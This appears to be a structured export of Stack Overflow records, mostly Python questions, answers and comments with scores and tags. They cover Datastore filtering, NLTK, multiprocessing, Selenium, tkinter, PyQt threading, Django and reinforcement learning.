has body: I see you have already found the solution to your issue, but let me just provide some more details about why &gt; 500 and &gt; 500.0 does not return the same type of content, so that it can be better understood why the reported behavior happened. For Datastore, Floating-point numbers and Integers are completely different and independent property types. In this case, as explained in the section about how Datastore performs ordering by value type, integers are sorted before floats, in such a way that any value with Float type will be greater than any value with Integer type: 5 &lt; 7 --- 5.0 &lt; 7.0 --- 7 &lt; 5.0 That is the reason why, when you were working with the filter query.add_filter('currentPrice', '&gt;', 500), all entities were being returned, because in this case, all the prices (of Float type) were greater than 500 (of Integer type): 500 &lt; 109.0 --- 500 &lt; 549.0 --- 500 &lt; 2399.0 Therefore, when applying filters to queries in Datastore, you should work with the same property type as the one of the property you are trying to filter by.
downvote count: 0
answers question: http://stackoverflow.com/q/49474247
has comment: http://stackoverflow.com/comment/85977583
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/49474247
upvote count: 2
score: 2

http://stackoverflow.com/comment/85967099
comment on: http://stackoverflow.com/a/49482051
type: Comment
has text: @abarnet thank you for your helpful answer! I hope you won't mind a follow-up question: How would I go about printing all possible versions of the chain that begin and end with 'loners' (that is, values that have no matching partner)? Basically, beginning with a triplet[1] with no parent and ending with a triplet[2] with no child?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86982379
has text: Last but not least : I have worked in a situation opposite to you, full of components depending of each others, built in one BIG (enormous) solution. The result is broken build every single 5 minutes and really hard to test in isolation.
score: 0
comment on: http://stackoverflow.com/q/49545119
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49454546
has comment: http://stackoverflow.com/comment/85959379
tagged with: nltk
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85971570
downvote count: 0
has body: Here is the python code : from nltk.tag import StanfordNERTagger st = StanfordNERTagger('D:/stanford-ner-2018-02-27/classifiers/english.all.3class.distsim.crf.ser.gz', 'D:/stanford-ner-2018-02-27/stanford-ner.jar') r=st.tag('Rami Eid is studying at Stony Brook University in NY'.split()) print(r) My all absolute paths are correct. I also have set JAVA_HOME environment variables. But I am facing these errors. C:\Users\Yunus\AppData\Local\Programs\Python\Python36\python.exe E:/WorkStation/untitled1/a.py C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\tag\stanford.py:183: DeprecationWarning: The StanfordTokenizer will be deprecated in version 3.2.5. Please use nltk.tag.corenlp.CoreNLPPOSTagger or nltk.tag.corenlp.CoreNLPNERTagger instead. super(StanfordNERTagger, self).__init__(*args, **kwargs) Traceback (most recent call last): File "E:/WorkStation/untitled1/a.py", line 6, in &lt;module&gt; r=st.tag('Rami Eid is studying at Stony Brook University in NY'.split()) File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\tag\stanford.py", line 84, in tag return sum(self.tag_sents([tokens]), []) File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\tag\stanford.py", line 89, in tag_sents config_java(options=self.java_options, verbose=False) File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\internals.py", line 58, in config_java _java_bin = find_binary('java', bin, env_vars=['JAVAHOME', 'JAVA_HOME'], verbose=verbose, binary_names=['java.exe']) File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\internals.py", line 604, in find_binary binary_names, url, verbose)) File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\internals.py", line 598, in find_binary_iter url, verbose): File "C:\Users\Yunus\AppData\Local\Programs\Python\Python36\lib\site-packages\nltk\internals.py", line 569, in find_file_iter ra…
answer count: 0
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/13883277
has title: nltk StanfordNERTagger is not working
duplicate of: http://stackoverflow.com/q/13883277
has comment: http://stackoverflow.com/comment/85971797
favorite count: 0
type: Question

http://stackoverflow.com/q/49444562
score: 1
has comment: http://stackoverflow.com/comment/85890856
has comment: http://stackoverflow.com/comment/85890953
has comment: http://stackoverflow.com/comment/85890688
has comment: http://stackoverflow.com/comment/85890885
downvote count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/27431528
has body: Basically I have 2 coordinates and 2 radius provided. This are: x1= 3.540437, y1 = 103.4278, d1 = 4m x2 = 3.540485,y2 = 103.4278, d1 = 1m Is there any way to calculate the latitude and longitude of the intersection ?
type: UnansweredQuestion
tagged with: python
tagged with: coordinate
has title: Calculating the intersection coordinates given by 2coordinates and the radius
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/85968628
comment on: http://stackoverflow.com/q/49482829
type: QuestionComment
has text: This is a lot of code. Please try to pare it down to a [mcve] that still demonstrates the same problem you're asking for help with.
score: 5
type: Comment

http://stackoverflow.com/comment/86084720
comment on: http://stackoverflow.com/q/49538582
type: QuestionComment
has text: It works fine on my side
score: 0
type: Comment

http://stackoverflow.com/q/49492072
has answer: http://stackoverflow.com/a/49492184
has title: Share resources between concurrent python processes / executors?
tagged with: python
has comment: http://stackoverflow.com/comment/85988311
has comment: http://stackoverflow.com/comment/85987763
linked to: http://stackoverflow.com/q/20640840
downvote count: 0
upvote count: 1
score: 1
answer count: 1
has body: I have a simple program that processes things read in from a file. There are many things and processing is not very fast and requires a huge data structure for looking up and calculating, so running this takes a lot of time. This should be trivially parallel, but I am not sure how to best do this in Python (using Pythong 3.5 or later). I would like to learn how to best move towards a parallel implementation. Ideally I would have a number of workers which all share the huge data structure and then read in the things and assign them round-robin to each worker in a queue. The workers would do their slow processing using the (shared) huge data structure and each store the result somehow. Once all the workers have finished, I would collect each set of results and combine them in a sequential fashion. Is something like this possible in Python or what else would be the best way to do this in Python? I have tried but failed to understand the concurrent.futures module enough to see how I could implement a solution with it. What I find puzzling that it is not clear what will happen "under the hood". If the callable to run for each thing is not purely functional but requires (huge) data to first get loaded, how to best achieve this? I assume I cannot simply pass along a reference to the data? Or can I? Would it work for multithreading but not multiprocessing? But would using multithreading even speed up my problem?
favorite count: 0
tagged with: python-multiprocessing
tagged with: multiprocessing
type: Question
tagged with: python-3.x
tagged with: python-multithreading
type: UnansweredQuestion

http://stackoverflow.com/a/49478985
has body: This is actually almost syntactically valid YAML. A simple substitution will make it valid: data = data.replace(';', ',').replace('.', '') parsed = yaml.load(data)
upvote count: 4
answers question: http://stackoverflow.com/q/49478841
has comment: http://stackoverflow.com/comment/85961734
downvote count: 0
type: Answer
score: 4

http://stackoverflow.com/comment/86182586
type: Comment
score: 0
type: AnswerComment
has text: Just reread the error. I switch the super().save() and payments.objects.create(). Works. Thanks for help.
comment on: http://stackoverflow.com/a/49587424

http://stackoverflow.com/comment/85988501
type: Comment
type: QuestionComment
has text: what's wrong with `np.zeros([3,3,3,3,3])`
score: 0
comment on: http://stackoverflow.com/q/49492421

http://stackoverflow.com/a/49496288
type: Answer
answers question: http://stackoverflow.com/q/49496182
has comment: http://stackoverflow.com/comment/85996708
score: 1
downvote count: 0
upvote count: 1
has body: There is no need for your curly brace: condition=1 while condition&lt;10: print("condition") condition+=1

http://stackoverflow.com/q/49442689
favorite count: 0
accepted answer: http://stackoverflow.com/a/49442715
type: Question
tagged with: return
tagged with: function
has comment: http://stackoverflow.com/comment/85887147
answer count: 1
upvote count: 1
downvote count: 1
tagged with: tuples
type: AnsweredQuestion
score: 0
has body: I'm trying to get the values of vector and degrees for each value of time but i get stuck with this error: TypeError: unsupported operand type(s) for +: 'int' and 'tuple' If i follow the traceback i get to x = -0,3*(t**2)+(7,2*t)+28 but how come that's a int = tuple? Traceback: Traceback (most recent call last): File "testgraph.py", line 53, in &lt;module&gt; vector, degrees = vector_position(t) File "testgraph.py", line 14, in vector_position x = function_positionX(t) File "testgraph.py", line 5, in function_positionX x = -0,3*(t**2)+(7,2*t)+28 Code: import numpy as np import math def function_positionX(t): x = -0,3*(t**2)+(7,2*t)+28 return x def function_positionY(t): y = 0,22*(t**2)-(9,1*t)+30 return y def vector_position(t): x = function_positionX(t) y = function_positionY(t) v = math.sqrt((x**2)+(y**2)) d = np.arctan2(y/x) return v,d def function_speedX(t): x = -0,62*t+7,2 return x def function_speedY(t): y = 0,44*t-9,1 return y def vector_speed(t): x = function_speedX(t) y = function_speedY(t) v = math.sqrt((x**2)+(y**2)) d = np.arctan2(y/x) return v,d def function_accelX(): a = -0,62 return a def function_accelY(): a = 0,44 return a def vector_accel(t): x = function_accelX() y = function_accelY() v = math.sqrt((x**2)+(y**2)) d = np.arctan2(y/x) return v,d for t in range(0,15): print("For time: ", t) vector, degrees = vector_position(t) print(vector,degrees) vector, degrees = vector_speed(t) print(vector,degrees) vector, degrees = vector_accel(t) print(vector,degrees)
tagged with: python
has answer: http://stackoverflow.com/a/49442715
has title: TypeError: unsupported operand type(s) for +: 'int' and 'tuple'

http://stackoverflow.com/q/49556209
tagged with: python
upvote count: 13
type: AnsweredQuestion
tagged with: mocking
has title: python side_effect - mocking behavior of a method
tagged with: python-unittest
answer count: 1
downvote count: 0
has body: In the mock, I want a certain function to return a new value in the test. This is how i did it. Class MyClass: my_var = None def foo(self, var1): return somevalue def bar(self): my_var = foo(1) Class TestClass(unittest.TestCase): myClass = MyClass() def _side_effect_foo(var1): if condition: return new_value @patch("MyClass", "foo", side_effect='_side_effect_foo') def test_foo(self): self.myClass.bar() This gives me a error: Can't pass kwargs to a mock we aren't creating. Am I using the correct format of side_effect? Thanks for any help!
score: 13
favorite count: 0
type: Question
tagged with: side-effects
accepted answer: http://stackoverflow.com/a/49557515
has answer: http://stackoverflow.com/a/49557515

http://stackoverflow.com/q/49454465
has comment: http://stackoverflow.com/comment/85913071
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/85912569
has comment: http://stackoverflow.com/comment/85912873
has body: I need to find the best (quickest) way to check for a given complex number z if its absolute value is smaller or equal to some arbitrary static number, E.G 6. My tries The naive approach I used is: def check(z): if abs(z) &lt;= 6: return True return False But since calculating the absolute value of a complex number in cartesian representation (which I assume is the way in which python stores complex numbers) requires calculating a square root, I thought that squaring both sides would be quicker E.G def check2(z): if z.real**2 + z.imag**2 &lt;= 36: return True return False Or some other method of squaring, like def check3(z): if z.real*z.real + z.imag*z.imag &lt;= 36: return True return False But while testing, I found that the first method is quicker by a large margin. Is the first method really the quickest? If so, how? I found no documentation on how python handles complex number methods internally.
favorite count: 0
has comment: http://stackoverflow.com/comment/85924460
type: Question
has title: Quickest way to find if abs(z) <= C for complex numbers in python
tagged with: performance
has comment: http://stackoverflow.com/comment/85924449
type: UnansweredQuestion
tagged with: math
tagged with: complex-numbers
tagged with: python
has comment: http://stackoverflow.com/comment/85924650
has comment: http://stackoverflow.com/comment/85911944
score: 0
has answer: http://stackoverflow.com/a/49460786
upvote count: 1

http://stackoverflow.com/q/49553423
tagged with: selenium
upvote count: 1
has answer: http://stackoverflow.com/a/49555602
downvote count: 1
has body: I want to print all similar elements but keep getting an error (I am using Pycharm). Error: TypeError: object of type 'WebElement' has no len() This line is the one throwing the error: num_page_items = len(productname) Full selenium code: from selenium import webdriver driver = webdriver.Chrome('/Users/reezalaq/PycharmProjects/untitled2/venv/driver/chromedriver') driver.get("https://www.blibli.com/jual/batik-pria?s=batik+pria") productname = driver.find_element_by_xpath("//div[@class='product-title']") oldprice = driver.find_element_by_css_selector("span.old-price-text").text discount = driver.find_element_by_css_selector("div.discount &gt; span").text saleprice = driver.find_element_by_css_selector("span.new-price-text").text num_page_items = len(productname) for i in range(num_page_items): print(productname[i].text + " : " + oldprice[i].text + " : " + discount[i].text + " : " + saleprice[i].text) driver.close()
favorite count: 0
tagged with: list
type: Question
has answer: http://stackoverflow.com/a/49554289
has title: How to resolve TypeError: object of type 'WebElement' has no len() in Python Selenium
tagged with: python
tagged with: webdriver
tagged with: selenium-webdriver
possible better answer: http://stackoverflow.com/a/49554289
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49555602
score: 0
answer count: 2

http://stackoverflow.com/q/49497117
type: AnsweredQuestion
has title: How can i see in which tkinter canvas shape is clicked?
has answer: http://stackoverflow.com/a/49498830
tagged with: tkinter
answer count: 2
tagged with: canvas
upvote count: 2
downvote count: 0
tagged with: click
favorite count: 0
possible better answer: http://stackoverflow.com/a/49498830
type: Question
has body: I have a simple program, with some buttons who are not made by Tkinter self. I just made them with canvas.create_rectangle and things like that. But the problem is: The buttons can move. I can do it like this: if event.x &gt; c.coords(button)[0] and event.y &gt; c.coords(button)[1] \ and event.x &lt; c.coords(button)[2] and event.y &lt; c.coords(button)[3]: ::line of code:: But is there a shorter way? Thanks!
accepted answer: http://stackoverflow.com/a/49497861
tagged with: events
tagged with: python
has answer: http://stackoverflow.com/a/49497861
score: 2

http://stackoverflow.com/q/49494160
tagged with: pip
upvote count: 1
has answer: http://stackoverflow.com/a/49494653
has comment: http://stackoverflow.com/comment/85992342
has comment: http://stackoverflow.com/comment/85992210
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85993209
has body: I don't mean turning .py files into executable or anything similar to that, but a python file which can run on any machine where python is installed, without needing to install required dependencies manually.
has comment: http://stackoverflow.com/comment/85992163
has comment: http://stackoverflow.com/comment/85992258
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/85993329
has comment: http://stackoverflow.com/comment/85992506
type: AnsweredQuestion
downvote count: 4
accepted answer: http://stackoverflow.com/a/49494653
has title: Making ".py" files Standalone?
answer count: 1
tagged with: cross-platform

http://stackoverflow.com/a/49589824
type: Answer
has body: You can use BeautifulSoup for such things - it's a HTML parser. Refer more at: Beautiful Soup and extracting a div and its contents by ID import requests, pprint import bs4 page = requests.get('') tree = (page.content) soup = bs4.BeautifulSoup('&lt;html&gt;&lt;body&gt;&lt;div id="articlebody"&gt; ... &lt;/div&gt;&lt;/body&gt;&lt;/html') divs = soup.find_all("div") texts = [i.text for i in soup.find_all("div")]
answers question: http://stackoverflow.com/q/49589118
score: 0

http://stackoverflow.com/q/49499444
tagged with: nested
tagged with: python
tagged with: dictionary
has title: Parse nested Python dict
has answer: http://stackoverflow.com/a/49499467
type: Question
upvote count: 2
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86003661
favorite count: 0
score: 2
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has body: I have a nested dictionary that I am trying to parse and do not seem to know how to access the third level items. Help is appreciated Here is my dictionary { "FunctionName": "RDSInstanctStart", "LastModified": "2018-03-24T07:19:56.792+0000", "MemorySize": 128, "Environment": { "Variables": { "DBInstanceName": "test1234" } }, "Version": "$LATEST", "Role": "arn:aws:iam::xxxxxxx:role/lambda-start-RDS", "Timeout": 3, "Runtime": "python2.7", "TracingConfig": { "Mode": "PassThrough" }, "CodeSha256": "tBdB+UDA9qlONGb8dgruKc6Gc82gvYLQwdq432Z0118=", "Description": "", "VpcConfig": { "SubnetIds": [], "SecurityGroupIds": [] }, "CodeSize": 417, "FunctionArn": "arn:aws:lambda:us-east-1:xxxxxxxx:function:RDSInstanctStart", "Handler": "lambda_function.lambda_handler" } I am trying to access the value for the key "Variables" Here is my code so far: try: for evnt in funcResponse['Environment']['Variables']['DBInstanceName']: print (evnt[0]) except ClientError as e: print(e) The result I get is t e s t 1 2 3 4 If I do not give the Index of the envt variable, I get a type error.
accepted answer: http://stackoverflow.com/a/49499467

http://stackoverflow.com/comment/86003539
type: Comment
type: QuestionComment
has text: Yes, the python script to be executed is the same on all nodes. Good idea actually to set the backend from the python script, I will look into it. Thanks
score: 0
comment on: http://stackoverflow.com/q/49498023

http://stackoverflow.com/q/49563208
tagged with: data-structures
type: Question
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/50034489
has answer: http://stackoverflow.com/a/54268776
has title: How to build a segment tree using python?
has comment: http://stackoverflow.com/comment/86135552
accepted answer: http://stackoverflow.com/a/49563322
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49563322
has answer: http://stackoverflow.com/a/50034489
has body: How to build a segment tree using python......I tried the following code:# def built(arr,start,end,tree,tn): if end==start: tree[tn]=arr[start] return mid=(start+end)/2 built(arr,start,mid,tree,2*tn) built(arr,mid+1,end,tree,2*tn+1) tree[tn]=tree[2*tn]+tree[2*tn+1] arr=[1,2,3,4,5,6] tree=[0,0,0,0,0,0,0,0,0,0,0,0] built(arr,0,5,tree,1) for i in tree: print (i) what's wrong with the code......giving run time error(list assignment index out of range)
tagged with: python

http://stackoverflow.com/q/49587961
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86184071
has title: python3 dictionary with duplicate keys but different values
answer count: 2
has answer: http://stackoverflow.com/a/49591278
has comment: http://stackoverflow.com/comment/86183846
upvote count: 8
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49637822
downvote count: 0
tagged with: python
tagged with: dictionary
linked to: http://stackoverflow.com/q/29519858
has comment: http://stackoverflow.com/comment/86183580
has comment: http://stackoverflow.com/comment/86188593
duplicate of: http://stackoverflow.com/q/10664856
has body: I need to submit a formdata which looks like this : evt: 2001 evt: 1024001 src: mstrWeb.my.fbb.fb.2001 src: mstrWeb.my.fbb.1024001 When I create a python3 dict : Dict = {'evt': '2001', 'evt': '1024001', 'src': 'mstrWeb.my.fbb.fb.2001', 'src': 'mstrWeb.my.fbb.1024001'} it removes the duplicate keys by order. I get: &gt;&gt;&gt; print (Dict) {'evt': '1024001', 'src': 'mstrWeb.my.fbb.1024001'} Is there any way I can have the duplicate keys intact in my Dict ?
has comment: http://stackoverflow.com/comment/86183686
has comment: http://stackoverflow.com/comment/86183553
has comment: http://stackoverflow.com/comment/86183593
has comment: http://stackoverflow.com/comment/86183707
duplicate of: http://stackoverflow.com/q/29519858
tagged with: python-requests
score: 8
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86184738

http://stackoverflow.com/a/49453122
score: 0
answers question: http://stackoverflow.com/q/49452063
type: Answer
has body: Pretty old fashioned code but working. Output as a dictionary. import datetime mydict = {} l_num = 1 with open('file.txt', 'r') as input_file: input_file = input_file.readlines() for i in range(len(input_file)): if i == 0: mydict['Segment ' + str(l_num)] = [input_file[i]] else: prevDate = datetime.datetime.strptime(input_file[i-1].split(' ')[1], '%d%b%y %H%M%S') Date = datetime.datetime.strptime(input_file[i].split(' ')[1], '%d%b%y %H%M%S') if Date - prevDate &gt; datetime.timedelta(hours = 24): l_num += 1 mydict['Segment ' + str(l_num)] = [] mydict['Segment ' + str(l_num)].append(input_file[i]) else: mydict['Segment ' + str(l_num)].append(input_file[i]) Just noticed. I'm using Python2. I'm not sure if it will work properly in Python3. I hope it does, though.

yahoo
type: Tag
tag name: yahoo
tags question: http://stackoverflow.com/q/49457696

http://stackoverflow.com/a/64054645
answers question: http://stackoverflow.com/q/49473598
upvote count: 0
downvote count: 2
type: Answer
score: -2
has body: Building on the author's answer, I am putting a more end-to-end example here for people who aren't familiar with this the io with open("file.parquet.gzip", "rb") as f: bytesio_obj = io.BytesIO(f.read()) binary = bytesio_obj.getvalue() some_model.blob_field = binary Source: https://stackoverflow.com/a/59365168/5739514

http://stackoverflow.com/comment/86071759
score: 0
type: Comment
has text: Welcome to StackOverflow! Please read the info about [how to ask a good question](https://stackoverflow.com/help/how-to-ask) and [how to give a reproducible example](https://stackoverflow.com/questions/5963269/how-to-make-a-great-r-reproducible-example). This will make it much easier for others to help you.
type: QuestionComment
comment on: http://stackoverflow.com/q/49532781

http://stackoverflow.com/a/49574449
has body: Here is the content of the original file student.csv: StudentID,Name,Username,Password,Moderator 0001,Foo Bar,test,abc123,N 0002,Baz Qux,bob,bcd986,Y Load CSV df = pd.read_csv('students.csv') Change the cell and save back to the original file df.set_value(0,'Name','changed') df.to_csv('students.csv', index=False) result StudentID,Name,Username,Password,Moderator 1,changed,test,abc123,N 2,Baz Qux,bob,bcd986,Y
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/86156547
answers question: http://stackoverflow.com/q/49574068
has comment: http://stackoverflow.com/comment/86156350
downvote count: 0
has comment: http://stackoverflow.com/comment/86156631
score: 3

http://stackoverflow.com/comment/100753716
has text: Ok neat! `netstat -na | grep 8000` outputs exactly this concept. Thanks @JavierBuzzi : )
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49476339

http://stackoverflow.com/comment/86084903
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49538189
has text: the course is linear algebra, and it's a problem from a pset but it say's no loops and no built-in functions, I know it sounds crazy but I think i make something similar with R before

http://stackoverflow.com/q/49561807
favorite count: 0
type: Question
has title: How to draw shapes at non-integer locations in Python OpenCV?
type: UnansweredQuestion
tagged with: python
tagged with: opencv
linked to: http://stackoverflow.com/q/10735817
score: 3
upvote count: 3
has body: I get TypeError: integer argument expected, got float when I use point with float (non-integer) coordinates as the origin of cv2.putText or center of cv2.circle. It seems a shame that these shapes support anti-aliasing with cv2.LINE_AA but not allow floating-point positions. Without scaling the image up, drawing them at the correct scale and then scaling back down, is there any way to draw these shapes at non-integer positions? An example use case is to draw a ground-truth point and overlay it with the measured position. By rounding it to integers, as the error increases, there appears to be no error until a given threshold when a large error suddenly appears.
answer count: 0
downvote count: 0
duplicate of: http://stackoverflow.com/q/10735817
has comment: http://stackoverflow.com/comment/86169700
has comment: http://stackoverflow.com/comment/86169686

http://stackoverflow.com/q/49564016
has title: Selenium webdriver not working in python with firefox
has answer: http://stackoverflow.com/a/52907528
linked to: http://stackoverflow.com/q/46085270
score: 0
type: UnansweredQuestion
tagged with: firefox
answer count: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/86136233
has comment: http://stackoverflow.com/comment/86168917
type: Question
tagged with: geckodriver
has comment: http://stackoverflow.com/comment/86136356
tagged with: python
has body: I have the most up to date firefox browser and selenium installed. I tried running the following code: from selenium import webdriver browser = webdriver.Firefox() ...and received the following error: Traceback (most recent call last): File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\common\service.py", line 76, in start stdin=PIPE) File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\lib\subprocess.py", line 707, in __init__ restore_signals, start_new_session) File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\lib\subprocess.py", line 992, in _execute_child startupinfo) FileNotFoundError: [WinError 2] The system cannot find the file specified During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\download2.py", line 3, in &lt;module&gt; browser = webdriver.Firefox() File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\firefox\webdriver.py", line 152, in __init__ self.service.start() File "C:\Users\alisy\AppData\Local\Programs\Python\Python36-32\lib\site-packages\selenium\webdriver\common\service.py", line 83, in start os.path.basename(self.path), self.start_error_message) selenium.common.exceptions.WebDriverException: Message: 'geckodriver' executable needs to be in PATH. I have downloaded geckodriver and specified the location in PATH (and then restarted my laptop). Did the same for firefox. It made no difference. What should I do?
tagged with: selenium-webdriver

http://stackoverflow.com/q/49598651
has title: Extract text in CSS class
favorite count: 0
tagged with: beautifulsoup
type: Question
has answer: http://stackoverflow.com/a/49599081
possible better answer: http://stackoverflow.com/a/49599081
tagged with: python
has answer: http://stackoverflow.com/a/49606485
has comment: http://stackoverflow.com/comment/86204881
accepted answer: http://stackoverflow.com/a/49606485
has comment: http://stackoverflow.com/comment/86204842
type: AnsweredQuestion
answer count: 2
downvote count: 0
has body: Trying to extract the data from a webpage to table. For e.g. Block Number XXX Building Name YYY Street Name zzz Pin Code 123456789 I am trying to get all details of the company in tabular form using this code... html_doc='https://s3.amazonaws.com/todel162/test.html' from urllib.request import urlopen from bs4 import BeautifulSoup soup = BeautifulSoup(urlopen(html_doc), 'html.parser') mydivs = soup.findAll("div", {"class": "row"}) for i in mydivs: for x in i.findAll("div", {"class": "col-md-3 col-sm-3"}): print (x) print ('new x') But I am not sure how to extract the text in HTML tag of a particular CSS class.
tagged with: pandas
score: 1
upvote count: 1

http://stackoverflow.com/comment/86095040
has text: @Jean-FrançoisFabre agreed; however, MoinuddinQuadri's answer already offers a great solution with `itertools.repeat`, and I thought that plain `zip` with `next` would demonstrate a possibility not relying on builtin libraries
type: AnswerComment
comment on: http://stackoverflow.com/a/49543592
score: 0
type: Comment

http://stackoverflow.com/comment/123800443
score: 0
type: Comment
has text: @FlyingTeller, I've added a quote from more recent (Python 3.8-3.10) documentation, which is even stronger than the previous docs. Personally, I think the reference to Python 2.7 could be removed (it's long dead), but I wouldn't take the liberty to go so far and leave that up to you to decide.
comment on: http://stackoverflow.com/a/49513137
type: AnswerComment

http://stackoverflow.com/q/49525673
tagged with: python
type: UnansweredQuestion
has title: Why does this pyqt5 qthread only run once every two button clicks?
linked to: http://stackoverflow.com/q/41526832
tagged with: qt5
tagged with: qthread
has comment: http://stackoverflow.com/comment/86057958
has comment: http://stackoverflow.com/comment/86057822
score: 0
has comment: http://stackoverflow.com/comment/86057936
has body: I have a program that I want to, on button click, create a qthread and run some set of code. At the end I want the main thread to destroy the worker thread. The following code shows one of my attempts. From what I can tell it only creates the thread on the first button click and on the second click it destroys the previous thread and creates and runs the work() function. If you wait to long in between button clicks you get the appearance like the first button click, that it does not run the work() function. Can anyone see something that I am doing wrong. I have a more complex example form someone else that I am trying to break down into a smaller part.( Pyqt5 qthread + signal not working + gui freeze ) Code: import time import sys from PyQt5.QtCore import QObject, QThread, pyqtSignal, pyqtSlot from PyQt5.QtWidgets import QApplication, QPushButton, QTextEdit, QVBoxLayout, QWidget class Worker(QObject): """ Must derive from QObject in order to emit signals, connect slots to other signals, and operate in a QThread. """ sigDone = pyqtSignal(int) def __init__(self, id: int): print("Here 11") super().__init__() print("Here 9") self.__id = id @pyqtSlot() def work(self): print("Here 10") for count in range(20): print("ID: " + str(self.__id) + ", Count: " + str(count)) time.sleep(0.1) app.processEvents() # this could cause change to self.__abort self.sigDone.emit(self.__id) #Need a done signal. class MyWidget(QWidget): def __init__(self): super().__init__() print("Here 1") self.setWindowTitle("Thread Example") form_layout = QVBoxLayout() self.setLayout(form_layout) self.resize(400, 400) print("Here 2") self.btnStartWorker = QPushButton() self.btnStartWorker.clicked.connect(self.start_worker) self.btnStartWorker.setText("Start Worker") form_layout.addWidget(self.btnStartWorker) self.__threads = None def start_worker(self): print("Here 3") worker = Worker(999) thread = QThread() print("Here 4") self.__threads = [] self.__threads.append(thread) print("Here 5") worker.moveToThre…
tagged with: pyqt5
has comment: http://stackoverflow.com/comment/86057396
has comment: http://stackoverflow.com/comment/86057638
type: Question
answer count: 0

http://stackoverflow.com/comment/85917939
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49457441
has text: This looks like it might be an actual bug. Very interesting.

http://stackoverflow.com/q/49468486
type: Question
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85940263
has comment: http://stackoverflow.com/comment/85939660
has title: No learning occuring in reinforcement learning agent
score: 0
answer count: 0
tagged with: keras
tagged with: tensorflow
has body: I am trying to implement the deep deterministic gradient method in tensorflow and keras, however, I seem to be stuck. There seems to be no learning occurring, the actions taken by the model do not seem to change at all and the gradient applied to the actor-network is very small as well (on the order of magnitude of e^-5). I have used another implementation as a reference and this one runs very well with the exact same hyperparameters and network architectures (except that it is implemented with tflearn and includes batch normalization layers), making me believe that there is a mistake somewhere in my code. Maybe someone here can spot it. Thank you for your time! Edit: I think the reason for the bad performance is that the critic-network's gradient with respect to the action is vanishing. I can't, however, figure out why. Maybe my use of the concatenate layer is wrong? class AIInterface(object): def __init__(self, sim): self.sim = sim self.pedal_pos = 0 self.steering_pos = 0 self.sess = tf.Session() self.learning_rate = 10e-4 self.BATCH_SIZE = 64 self.epsilon = .75 #amount of random exploration self.epsilon_decay = .997 self.gamma = .99 #reward discount factor self.tau = .00125 #target update factor self.rewards = deque(maxlen=100000) self.memory = deque(maxlen=100000) # Actor stuff self.actor_model, self.actor_var_in = self.initialize_actor() self.target_actor, _ = self.initialize_actor() self.actor_critic_grad = tf.placeholder(tf.float32, [None, 1]) self.actor_model_weights = self.actor_model.trainable_weights with tf.name_scope("actor_gradients"): self.actor_grads = tf.gradients(self.actor_model.output, self.actor_model_weights, -self.actor_critic_grad) self.normalized_actor_grads = list(map(lambda x: tf.div(x, self.BATCH_SIZE), self.actor_grads)) grads = zip(self.normalized_actor_grads, self.actor_model_weights) self.optimize = tf.train.AdamOptimizer(self.learning_rate).apply_gradients(grads) # Critic stuff self.critic_model, self.critic_var_in, self.critic_actio…
tagged with: reinforcement-learning

http://stackoverflow.com/q/49444648
answer count: 2
has body: I wanna resist id in serial number like 1,2,3・・・.I wrote codes to resist User data like, from django.db import models import uuid # Create your models here. def get_next(): try: return Users.objects.latest('pk').increment_num + 1 except: return 1 class Users(models.Model): id = models.UUIDField(primary_key=True, default=get_next, editable=False) sex = models.CharField(max_length=100, null=True, default=None) age = models.CharField(max_length=100, null=True, default=None) But when I try to resist user's data, django.core.exceptions.ValidationError: ["'1' is not a valid UUID."] error happens. So I rewrote id = models.IntegerField(primary_key=True, default=get_next), but if I resist multiple user's data, only id=1's data is remain and I cannot understand but other data was deleted. What is wrong in my code? How should I fix this?
accepted answer: http://stackoverflow.com/a/49444889
upvote count: 0
has answer: http://stackoverflow.com/a/49444889
tagged with: django
possible better answer: http://stackoverflow.com/a/49444961
tagged with: python
score: -3
has answer: http://stackoverflow.com/a/49444961
has comment: http://stackoverflow.com/comment/85891842
type: AnsweredQuestion
has title: I wanna resist id in serial number
has comment: http://stackoverflow.com/comment/85890998
has comment: http://stackoverflow.com/comment/85892247
has comment: http://stackoverflow.com/comment/85892005
downvote count: 3
favorite count: 0
type: Question

http://stackoverflow.com/q/49482432
type: Question
tagged with: tkinter
